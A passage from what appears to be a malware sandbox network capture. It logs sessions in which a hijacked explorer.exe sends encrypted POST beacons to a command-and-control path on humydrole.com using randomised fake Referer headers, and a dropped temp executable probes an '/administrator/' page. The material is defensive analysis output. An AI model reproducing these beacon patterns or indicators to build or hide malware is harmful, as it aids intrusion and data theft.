Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49765	187.134.52.10	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:10.545553923 CET	287	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xtavianagefldsxh.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 222 Host: humydrole.com
Dec 20, 2023 03:13:10.545591116 CET	222	OUT	Data Raw: 3b 6e 22 65 f7 cd 6b 20 d6 de b4 07 70 09 0c b6 77 0d ba e2 63 06 92 16 0b 0c 0b 94 41 c7 b1 68 ed 29 c3 2a 07 69 55 6d e9 9f 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 20 19 c7 8f Data Ascii: ;n"ek pwcAh)*iUm? 9Yt M@NA .[k,vu v~Kd\kMapl\WCk[!AqNPyp%6:?. \>bwN;>E0w5
Dec 20, 2023 03:13:11.156563997 CET	253	IN	HTTP/1.0 404 Not Found Date: Wed, 20 Dec 2023 02:13:10 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 8 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 04 00 00 00 72 e8 86 ee Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49767	187.134.52.10	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:11.362751961 CET	284	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mymyyvjlegnim.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 219 Host: humydrole.com
Dec 20, 2023 03:13:11.362782955 CET	219	OUT	Data Raw: 3b 6e 22 65 f7 cd 6b 20 d6 de b4 07 70 09 0c b6 77 0d ba e2 63 06 92 16 0b 0c 0b 94 41 c7 b1 68 ed 29 c3 2a 07 69 55 6d e9 9f 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0a 6b 2c 90 f5 76 0b 75 56 5e d7 83 Data Ascii: ;n"ek pwcAh)*iUm? 9Yt M@NA -[k,vuV^CCh{pfEPYAD6qWD^!EkX-Go]>"'X/!E7;Y`
Dec 20, 2023 03:13:11.978355885 CET	587	IN	HTTP/1.0 404 Not Found Date: Wed, 20 Dec 2023 02:13:11 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49768	187.134.52.10	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:12.184187889 CET	287	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fgrtcvyvxtnbobfd.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 268 Host: humydrole.com
Dec 20, 2023 03:13:12.184215069 CET	268	OUT	Data Raw: 3b 6e 22 65 f7 cd 6b 20 d6 de b4 07 70 09 0c b6 77 0d ba e2 63 06 92 16 0b 0c 0b 94 41 c7 b1 68 ed 29 c3 2a 07 69 55 6d e9 9f 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0b 6b 2c 90 f5 76 0b 75 5b 1e ef e1 Data Ascii: ;n"ek pwcAh)*iUm? 9Yt M@NA -[k,vu[W]sEf@n<_H!\o\52J:Z_TR1PuX]V1_71D_?PzgaTks"r#Yhb4+t
Dec 20, 2023 03:13:12.798487902 CET	587	IN	HTTP/1.0 404 Not Found Date: Wed, 20 Dec 2023 02:13:12 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49770	187.134.52.10	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:12.997872114 CET	285	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dqsbkjcgmlohao.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 139 Host: humydrole.com
Dec 20, 2023 03:13:12.997905970 CET	139	OUT	Data Raw: 3b 6e 22 65 f7 cd 6b 20 d6 de b4 07 70 09 0c b6 77 0d ba e2 63 06 92 16 0b 0c 0b 94 41 c7 b1 68 ed 29 c3 2a 07 69 55 6d e9 9f 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 08 6b 2c 90 f5 76 0b 75 4e 54 e8 f2 Data Ascii: ;n"ek pwcAh)*iUm? 9Yt M@NA -[k,vuNTXepD(ND1F-yg_uud@EI
Dec 20, 2023 03:13:13.610508919 CET	587	IN	HTTP/1.0 404 Not Found Date: Wed, 20 Dec 2023 02:13:13 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49773	187.134.52.10	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:13.809622049 CET	284	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://iagptheyutdjg.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 217 Host: humydrole.com
Dec 20, 2023 03:13:13.809653997 CET	217	OUT	Data Raw: 3b 6e 22 65 f7 cd 6b 20 d6 de b4 07 70 09 0c b6 77 0d ba e2 63 06 92 16 0b 0c 0b 94 41 c7 b1 68 ed 29 c3 2a 07 69 55 6d e9 9f 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 09 6b 2c 90 f5 76 0b 75 42 1e b5 b8 Data Ascii: ;n"ek pwcAh)*iUm? 9Yt M@NA -[k,vuBd55n\X;DqI3D@$E_P.O1\s.e<m8v3f.3fi"
Dec 20, 2023 03:13:14.424093008 CET	587	IN	HTTP/1.0 404 Not Found Date: Wed, 20 Dec 2023 02:13:14 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49774	187.134.52.10	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:14.623689890 CET	286	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lksurclastjmnog.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 208 Host: humydrole.com
Dec 20, 2023 03:13:14.623720884 CET	208	OUT	Data Raw: 3b 6e 22 65 f7 cd 6b 20 d6 de b4 07 70 09 0c b6 77 0d ba e2 63 06 92 16 0b 0c 0b 94 41 c7 b1 68 ed 29 c3 2a 07 69 55 6d e9 9f 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0e 6b 2c 90 f5 76 0b 75 4f 03 d2 8a Data Ascii: ;n"ek pwcAh)*iUm? 9Yt M@NA -[k,vuOH!bgYv001o[?v( @PIh"0<U3,?(;^;P?
Dec 20, 2023 03:13:15.434140921 CET	587	IN	HTTP/1.0 404 Not Found Date: Wed, 20 Dec 2023 02:13:15 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49776	187.134.52.10	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:15.633198977 CET	286	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://clsaukxauftvtee.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 172 Host: humydrole.com
Dec 20, 2023 03:13:15.633219957 CET	172	OUT	Data Raw: 3b 6e 22 65 f7 cd 6b 20 d6 de b4 07 70 09 0c b6 77 0d ba e2 63 06 92 16 0b 0c 0b 94 41 c7 b1 68 ed 29 c3 2a 07 69 55 6d e9 9f 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0f 6b 2c 90 f5 76 0b 75 54 42 b6 93 Data Ascii: ;n"ek pwcAh)*iUm? 9Yt M@NA -[k,vuTBFEEv`9)F1A-voe&_V8O;O3)~V-%7}f_
Dec 20, 2023 03:13:16.457673073 CET	587	IN	HTTP/1.0 404 Not Found Date: Wed, 20 Dec 2023 02:13:16 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49777	187.134.52.10	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:16.660887957 CET	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lmpuibivhib.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 224 Host: humydrole.com
Dec 20, 2023 03:13:16.660928011 CET	224	OUT	Data Raw: 3b 6e 22 65 f7 cd 6b 20 d6 de b4 07 70 09 0c b6 77 0d ba e2 63 06 92 16 0b 0c 0b 94 41 c7 b1 68 ed 29 c3 2a 07 69 55 6d e9 9f 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0c 6b 2c 90 f5 76 0b 75 5e 41 b2 f9 Data Ascii: ;n"ek pwcAh)*iUm? 9Yt M@NA -[k,vu^Av~]qXn"\|2<8KnNC\)53<M"RY[rX^{9q9 K1qROtJl
Dec 20, 2023 03:13:17.485776901 CET	587	IN	HTTP/1.0 404 Not Found Date: Wed, 20 Dec 2023 02:13:17 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49941	187.134.52.10	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:18.932389975 CET	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ydawwdjpyxk.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 356 Host: humydrole.com
Dec 20, 2023 03:13:18.932437897 CET	356	OUT	Data Raw: 3b 6e 22 65 f7 cd 6b 20 d6 de b4 07 70 09 0c b6 77 0d ba e2 63 06 92 16 0b 0c 0b 94 41 c7 b1 68 ed 29 c3 2a 07 69 55 6d e9 9f 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0d 6b 2c 90 f5 76 0b 75 28 24 b0 8f Data Ascii: ;n"ek pwcAh)*iUm? 9Yt M@NA -[k,vu($^~Tg7m=a<<)ghxPF <4/\(-c=5^Rk35=D\|GB".,n\|!T(
Dec 20, 2023 03:13:19.745182037 CET	238	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:19 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50838	199.59.243.225	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:19.700381041 CET	181	OUT	GET /administrator/ HTTP/1.1 Host: choctawcasino.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:19.869952917 CET	1200	IN	HTTP/1.1 200 OK date: Wed, 20 Dec 2023 02:13:19 GMT content-type: text/html; charset=utf-8 content-length: 1045 x-request-id: 157f0e73-f3e7-4a70-bef1-5afc03fb2dc4 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_pQEJsuok4FgbQNM7L/4zIPhFIgJjBYqYeQ9VxUYSCHcksJ+C0oHQqv1o2XcGqMVqx/VjoJwowBqTsaK/x3KAgg== set-cookie: parking_session=157f0e73-f3e7-4a70-bef1-5afc03fb2dc4; expires=Wed, 20 Dec 2023 02:28:19 GMT; path=/ Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 70 51 45 4a 73 75 6f 6b 34 46 67 62 51 4e 4d 37 4c 2f 34 7a 49 50 68 46 49 67 4a 6a 42 59 71 59 65 51 39 56 78 55 59 53 43 48 63 6b 73 4a 2b 43 30 6f 48 51 71 76 31 6f 32 58 63 47 71 4d 56 71 78 2f 